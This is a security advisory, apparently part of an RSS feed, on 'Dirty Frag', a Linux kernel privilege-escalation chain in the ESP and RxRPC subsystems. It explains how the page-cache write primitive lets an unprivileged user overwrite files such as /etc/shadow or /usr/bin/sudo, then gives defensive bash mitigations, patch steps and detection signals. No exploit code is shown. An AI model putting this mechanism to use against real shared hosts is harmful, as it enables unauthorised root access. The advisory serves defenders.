          📄 The Silicon Ceiling: Why the Hardware Crisis is the Ultimate Wake-Up Call
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At a glance Hardware scarcity, driven by skyrocketing memory prices and historically low data center vacancies, means you can no longer simply buy more hardware to scale performance. Optimizing the pe</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Dirty Frag (CVE-2026-43284 + CVE-2026-43500): Local Root on Every Major Linux Distro]]></title>
      <link>https://devops-daily.com/posts/dirty-frag-cve-2026-43284-linux-root-escalation</link>
      <description><![CDATA[A two-bug chain in the Linux kernel networking subsystems lets any unprivileged local user become root in a single command. The PoC is public, the embargo broke, and not all distros have a patch yet.]]></description>
      <pubDate>Fri, 08 May 2026 18:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/dirty-frag-cve-2026-43284-linux-root-escalation</guid>
      <category><![CDATA[Security]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[linux]]></category><category><![CDATA[kernel]]></category><category><![CDATA[cve]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[privilege-escalation]]></category><category><![CDATA[ipsec]]></category>
      <content:encoded><![CDATA[<p>If you run any shared-tenant Linux box, you have work to do today. Hyunwoo Kim disclosed a Linux kernel local privilege escalation chain dubbed <strong>Dirty Frag</strong> that turns an unprivileged local user into root with a single command. It is two bugs, not one: <strong>CVE-2026-43284</strong> in the IPsec ESP code paths (<code>esp4</code> / <code>esp6</code>) and <strong>CVE-2026-43500</strong> in the RxRPC subsystem. Both produce a page-cache write primitive, which is the same class of bug that made Dirty Pipe (CVE-2022-0847) and Dirty COW (CVE-2016-5195) household names. The naming is not coincidence.</p>
<p>Reported to Linux maintainers on April 30, 2026. An unrelated third party published the ESP exploit on May 7, 2026, breaking the embargo and forcing immediate full disclosure. The ESP fix landed in the upstream <code>netdev</code> tree the same day. The RxRPC fix is still pending as of the date of this post. That means many distributions are still in the gap between &quot;the world knows about this&quot; and &quot;we have a vendor kernel that fixes it.&quot;</p>
<p>Here is what the bugs are, who is exposed, the temporary mitigations that work, and the order to apply them in.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Name</td>
<td>Dirty Frag</td>
</tr>
<tr>
<td>CVEs</td>
<td>CVE-2026-43284 (xfrm-ESP), CVE-2026-43500 (RxRPC)</td>
</tr>
<tr>
<td>Class</td>
<td>Page-cache write primitive, local privilege escalation</td>
</tr>
<tr>
<td>Severity</td>
<td>Important (Red Hat); root from any local account</td>
</tr>
<tr>
<td>Disclosed</td>
<td>May 7, 2026 (embargo broken)</td>
</tr>
<tr>
<td>Reporter</td>
<td>Hyunwoo Kim</td>
</tr>
<tr>
<td>ESP patch</td>
<td>Merged in upstream <code>netdev</code> tree May 7, 2026</td>
</tr>
<tr>
<td>RxRPC patch</td>
<td>Pending upstream as of May 8, 2026</td>
</tr>
<tr>
<td>Affected</td>
<td>Ubuntu 24.04.4, RHEL 8/9/10, AlmaLinux 8/9/10, CentOS Stream 10, Fedora 44, openSUSE Tumbleweed, OpenShift 4 (and effectively every kernel that built <code>esp4</code> / <code>esp6</code> / <code>rxrpc</code>)</td>
</tr>
<tr>
<td>Required access</td>
<td>Any unprivileged local account, often <code>CAP_NET_ADMIN</code> via user namespaces</td>
</tr>
<tr>
<td>Working PoC</td>
<td>Yes, public on GitHub</td>
</tr>
<tr>
<td>What you do</td>
<td>Apply the vendor kernel update once it ships; in the meantime, blocklist <code>esp4</code>, <code>esp6</code>, <code>rxrpc</code> modules and disable unprivileged user namespaces where possible</td>
</tr>
</tbody></table>
<h2 id="h2-why-this-one-matters" class="group relative scroll-mt-24">
        <a href="#h2-why-this-one-matters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This One Matters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-one-matters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A local privilege escalation is the part of an exploit chain that turns &quot;the attacker has a foothold&quot; into &quot;the attacker owns the box.&quot; On a single-user laptop the impact is mostly theoretical because the attacker who can run code as you can usually wait you out. On the systems that pay your salary, the threat model is the opposite. Anywhere a Linux kernel is shared between accounts, the LPE is the actual prize:</p>
<ul>
<li><strong>CI runners.</strong> GitHub Actions self-hosted runners, GitLab runners, Jenkins agents. The job already runs as a low-privileged user. Dirty Frag promotes that to root on the runner host, which often has SSH keys, registry credentials, and access to the next-tier secret store.</li>
<li><strong>Multi-tenant Kubernetes.</strong> Pods on the same node share a kernel. A container breakout that lands you in any pod with a shell becomes a node compromise. The kubelet credentials are right there.</li>
<li><strong>Bastion / jump hosts.</strong> Most security models depend on these being trusted. An LPE on the bastion turns one compromised developer account into the entire fleet.</li>
<li><strong>Shared developer servers.</strong> Whatever your &quot;dev box&quot; is. Same logic.</li>
</ul>
<p>The PoC requires nothing exotic. A user with shell access runs the binary, the chain triggers, the prompt comes back as root. Nine years of <code>algif_aead</code> plumbing made this much harder to spot before; now it is one <code>git clone</code> away from a working exploit.</p>
<h2 id="h2-what-each-bug-actually-does" class="group relative scroll-mt-24">
        <a href="#h2-what-each-bug-actually-does" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Each Bug Actually Does
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-each-bug-actually-does"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Both halves of Dirty Frag are page-cache write primitives, which is what makes the &quot;Dirty&quot; name fit. The kernel uses the page cache to back files mmapped by user space, so a primitive that lets an unprivileged process modify pages it does not own is effectively a primitive to overwrite the contents of files the process cannot write. That is how Dirty Pipe overwrote <code>/etc/passwd</code>, and that is how Dirty Frag does it too.</p>
<h3 id="h3-cve-2026-43284-xfrm-esp-page-cache-write" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-43284-xfrm-esp-page-cache-write" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-43284: xfrm-ESP page-cache write
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-43284-xfrm-esp-page-cache-write"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The IPsec ESP receive path decrypts incoming packets in place. When the buffer being decrypted is a paged buffer that is <em>not</em> privately owned by the kernel (specifically, pages that arrived via <code>splice(2)</code> or <code>sendfile(2)</code> from a pipe), the decrypted plaintext lands in pages that user space still has a reference to. An unprivileged process can keep that reference, read out the plaintext, and write into pages backing files it would otherwise have no access to.</p>
<p>The bug has been latent in the ESP path since roughly 2017. It was not exploitable as a clean LPE on its own without the right kernel interfaces being reachable from user space, but <code>CAP_NET_ADMIN</code> inside an unprivileged user namespace provides exactly the right reach. That is why the unprivileged-user-namespace mitigation below works.</p>
<h3 id="h3-cve-2026-43500-rxrpc-page-cache-write" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-43500-rxrpc-page-cache-write" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-43500: RxRPC page-cache write
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-43500-rxrpc-page-cache-write"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>RxRPC is the kernel implementation of the RxRPC protocol, used by AFS distributed filesystem clients. The same class of bug exists on its receive path: paged buffers that the kernel does not exclusively own end up holding plaintext that user space can read and write. RxRPC has been carrying this bug since approximately 2023, which is much narrower than the ESP timeline but still includes every long-term-support kernel of the last two years.</p>
<p>The chain in the public PoC uses one or both primitives depending on what the target system has loaded. ESP-only is enough on most distributions, which is why the ESP patch alone covers the worst of it.</p>
<h3 id="h3-why-page-cache-write-is-so-dangerous" class="group relative scroll-mt-24">
        <a href="#h3-why-page-cache-write-is-so-dangerous" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why "page-cache write" is so dangerous
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-page-cache-write-is-so-dangerous"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you have not run into this class before, the short version: a page-cache write primitive is not a memory corruption bug in the usual sense. It is a write into the kernel&#39;s view of a file&#39;s contents. Because the kernel hands those pages back to anyone who reads the file, you can drop a single byte at the right offset of <code>/etc/sudoers</code>, <code>/etc/shadow</code>, or <code>/usr/bin/sudo</code> and the next process that reads the file sees your version. No SMEP / SMAP / KASLR / CFI bypass needed; the primitive sidesteps the part of the kernel those mitigations protect.</p>
<h2 id="h2-who-is-exposed" class="group relative scroll-mt-24">
        <a href="#h2-who-is-exposed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Who Is Exposed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-who-is-exposed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Effectively every modern Linux distribution. The vulnerable code is in the upstream kernel and the modules ship by default. Distributions explicitly named in the public advisories:</p>
<ul>
<li>Ubuntu 24.04.4</li>
<li>Red Hat Enterprise Linux 8, 9, 10</li>
<li>AlmaLinux 8, 9, 10</li>
<li>CentOS Stream 10</li>
<li>Fedora 44</li>
<li>openSUSE Tumbleweed</li>
<li>OpenShift 4</li>
</ul>
<p>If you are running a long-term-support kernel that built <code>esp4</code>, <code>esp6</code>, or <code>rxrpc</code> and you do not have the vendor errata yet, assume you are vulnerable.</p>
<p>A few cases where exposure is reduced:</p>
<ul>
<li><strong>No local users.</strong> A managed appliance with no shell account is fine for the LPE alone, since LPE needs a foothold. It is not fine if anything else lets an attacker land.</li>
<li><strong>Containers without privileged kernel reach.</strong> A container that cannot reach the <code>esp4</code> / <code>esp6</code> / <code>rxrpc</code> interfaces from user space is harder to exploit. Most production container runtimes already block raw kernel module reach, but <code>CAP_NET_ADMIN</code> is still common in CNI / VPN sidecars.</li>
<li><strong>Hardened kernels (grsec / Linux-Hardened) without unprivileged user namespaces.</strong> Disabling unprivileged user namespaces removes the reach for the ESP primitive on RHEL-class distros.</li>
</ul>
<p>Cloud provider metal is at risk if you SSH into it. Cloud provider managed services (RDS, Lambda, ECS Fargate, Cloud Run) are not directly exposed because you do not have shell on the kernel; the provider does.</p>
<h2 id="h2-what-to-do-today" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-today" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Today
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-today"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Order matters. Do the cheap mitigations first, then watch for the vendor kernel, then patch.</p>
<h3 id="h3-1-inventory-what-is-loaded" class="group relative scroll-mt-24">
        <a href="#h3-1-inventory-what-is-loaded" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Inventory what is loaded
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-inventory-what-is-loaded"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Confirm whether the vulnerable modules are loaded right now.</span>
lsmod | grep -E <span class="hljs-string">&#x27;^(esp4|esp6|rxrpc)\b&#x27;</span>

<span class="hljs-comment"># And whether they are auto-loadable via modprobe aliases</span>
<span class="hljs-comment"># (this is what catches the case where the module is not loaded</span>
<span class="hljs-comment">#  but a user-space syscall would load it on demand).</span>
modprobe --show-depends esp4 esp6 rxrpc 2&gt;&amp;1 | <span class="hljs-built_in">head</span> -20
</code></pre><p>If <code>lsmod</code> shows them loaded, you are exploitable today. If they are not loaded but <code>modprobe --show-depends</code> finds them, an unprivileged user can still trigger the load through the same syscall paths the PoC uses.</p>
<h3 id="h3-2-blocklist-the-modules-where-you-can" class="group relative scroll-mt-24">
        <a href="#h3-2-blocklist-the-modules-where-you-can" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Blocklist the modules where you can
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-blocklist-the-modules-where-you-can"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the strongest mitigation. It also breaks IPsec VPN termination on the host and any AFS client. Use this on machines that are <em>not</em> IPsec VPN endpoints and do not use AFS, which is most CI runners, container hosts, and bastions:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># /etc/modprobe.d/dirty-frag.conf</span>
blacklist esp4
blacklist esp6
blacklist rxrpc

<span class="hljs-comment"># Force install to /bin/false so a load attempt fails fast.</span>
install esp4  /bin/false
install esp6  /bin/false
install rxrpc /bin/false
</code></pre><p>Apply it:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Write the file, then either reboot or unload the modules right now</span>
<span class="hljs-comment"># if they are currently loaded.</span>
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">cp</span> dirty-frag.conf /etc/modprobe.d/dirty-frag.conf

<span class="hljs-comment"># Unload if loaded. The order matters because of dependencies.</span>
<span class="hljs-built_in">sudo</span> rmmod rxrpc 2&gt;/dev/null
<span class="hljs-built_in">sudo</span> rmmod esp6  2&gt;/dev/null
<span class="hljs-built_in">sudo</span> rmmod esp4  2&gt;/dev/null

<span class="hljs-comment"># Confirm they are gone and will not reload.</span>
lsmod | grep -E <span class="hljs-string">&#x27;^(esp4|esp6|rxrpc)\b&#x27;</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;modules not loaded&quot;</span>
</code></pre><p>If you actually use IPsec on the box (Wireguard does not count, this is specifically the kernel <code>xfrm</code> ESP path), you cannot use this mitigation on that machine. Move to step 3.</p>
<h3 id="h3-3-disable-unprivileged-user-namespaces-rhel-family" class="group relative scroll-mt-24">
        <a href="#h3-3-disable-unprivileged-user-namespaces-rhel-family" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Disable unprivileged user namespaces (RHEL-family)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-disable-unprivileged-user-namespaces-rhel-family"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This blocks the ESP variant on Red Hat-style kernels by removing the path through which <code>CAP_NET_ADMIN</code> becomes reachable to non-root users. It does <strong>not</strong> cover RxRPC, and it can break rootless containers that depend on user namespaces.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Runtime, until reboot:</span>
<span class="hljs-built_in">sudo</span> sysctl -w user.max_user_namespaces=0

<span class="hljs-comment"># Persistent across reboots:</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;user.max_user_namespaces = 0&quot;</span> | <span class="hljs-built_in">sudo</span> <span class="hljs-built_in">tee</span> /etc/sysctl.d/99-dirty-frag.conf
<span class="hljs-built_in">sudo</span> sysctl --system
</code></pre><p>Validate that rootless tooling you rely on still works after this. Podman in rootless mode is the most common thing that breaks. If your CI image relies on rootless container builds, this is not the right knob.</p>
<h3 id="h3-4-tighten-local-access" class="group relative scroll-mt-24">
        <a href="#h3-4-tighten-local-access" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Tighten local access
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-tighten-local-access"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>LPE chains need a local foothold. Things that make the foothold harder to come by are second-line defense:</p>
<ul>
<li>Drop SSH password authentication (<code>PasswordAuthentication no</code> in <code>sshd_config</code>).</li>
<li>Run SELinux in enforcing mode where it is available.</li>
<li>Run untrusted workloads as non-root and without <code>CAP_NET_ADMIN</code>. Audit your CI job containers; many <code>network-tools</code>-style images run as root for no good reason.</li>
<li>On Kubernetes, push pod security to <code>restricted</code> for new workloads. The default <code>baseline</code> profile leaves <code>CAP_NET_ADMIN</code> reachable for some controllers.</li>
</ul>
<h3 id="h3-5-patch-when-the-vendor-kernel-ships" class="group relative scroll-mt-24">
        <a href="#h3-5-patch-when-the-vendor-kernel-ships" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Patch when the vendor kernel ships
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-patch-when-the-vendor-kernel-ships"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Watch your distribution&#39;s security tracker. Once a kernel update is available, apply it and reboot. The order in which fixes ship will roughly be:</p>
<ol>
<li>Mainline + stable LTS kernels (the ESP fix is already in <code>netdev</code>).</li>
<li>Distro kernels for current releases (Ubuntu, RHEL, Fedora, AlmaLinux are all likely to ship within days).</li>
<li>RxRPC fix once it is upstream and backported.</li>
</ol>
<p>After patching:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Confirm the running kernel is the patched build. The exact errata</span>
<span class="hljs-comment"># string varies by distro - check your distro security advisory for</span>
<span class="hljs-comment"># the version that includes the fix.</span>
<span class="hljs-built_in">uname</span> -r

<span class="hljs-comment"># Then drop the modprobe blocklist if you put one in place,</span>
<span class="hljs-comment"># unless you genuinely have no use for the modules.</span>
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">rm</span> /etc/modprobe.d/dirty-frag.conf
</code></pre><h2 id="h2-a-detection-note" class="group relative scroll-mt-24">
        <a href="#h2-a-detection-note" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Detection Note
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-a-detection-note"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no clean fingerprint for the exploit yet because the primitive uses normal kernel paths. A few signals that are worth alerting on:</p>
<ul>
<li>New userland processes that hold open <code>AF_KEY</code> sockets and <code>splice()</code> between pipes and those sockets.</li>
<li>Unexpected <code>setuid</code> binaries created in <code>/tmp</code> or <code>/var/tmp</code>.</li>
<li>Sudden modifications to <code>/etc/passwd</code>, <code>/etc/shadow</code>, <code>/etc/sudoers</code>, <code>/usr/bin/sudo</code> (you should already be alerting on these as a baseline). File integrity monitoring with auditd or osquery catches the post-exploitation step even when the exploit primitive itself is invisible.</li>
<li>For Kubernetes: pods that flap in and out of <code>Running</code> after starting a new container that requests <code>CAP_NET_ADMIN</code>.</li>
</ul>
<p>If you have an EDR product, your vendor likely has a Dirty Frag detection rule shipping in the next push. The Wiz, Tenable, and Red Hat write-ups all describe behavioral signatures.</p>
<h2 id="h2-wrap-up" class="group relative scroll-mt-24">
        <a href="#h2-wrap-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Wrap-Up
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-wrap-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Dirty Frag is not a sky-falling event for a single-user laptop, but it is exactly the bug pattern that ruins a quarter on multi-tenant infrastructure. The work today is short:</p>
<ol>
<li>Audit which of your Linux fleet has <code>esp4</code> / <code>esp6</code> / <code>rxrpc</code> loaded.</li>
<li>Blocklist those modules everywhere you do not need IPsec and AFS.</li>
<li>Disable unprivileged user namespaces on RHEL-family hosts that need IPsec.</li>
<li>Watch your distro&#39;s tracker and roll the patched kernel as soon as it lands.</li>
</ol>
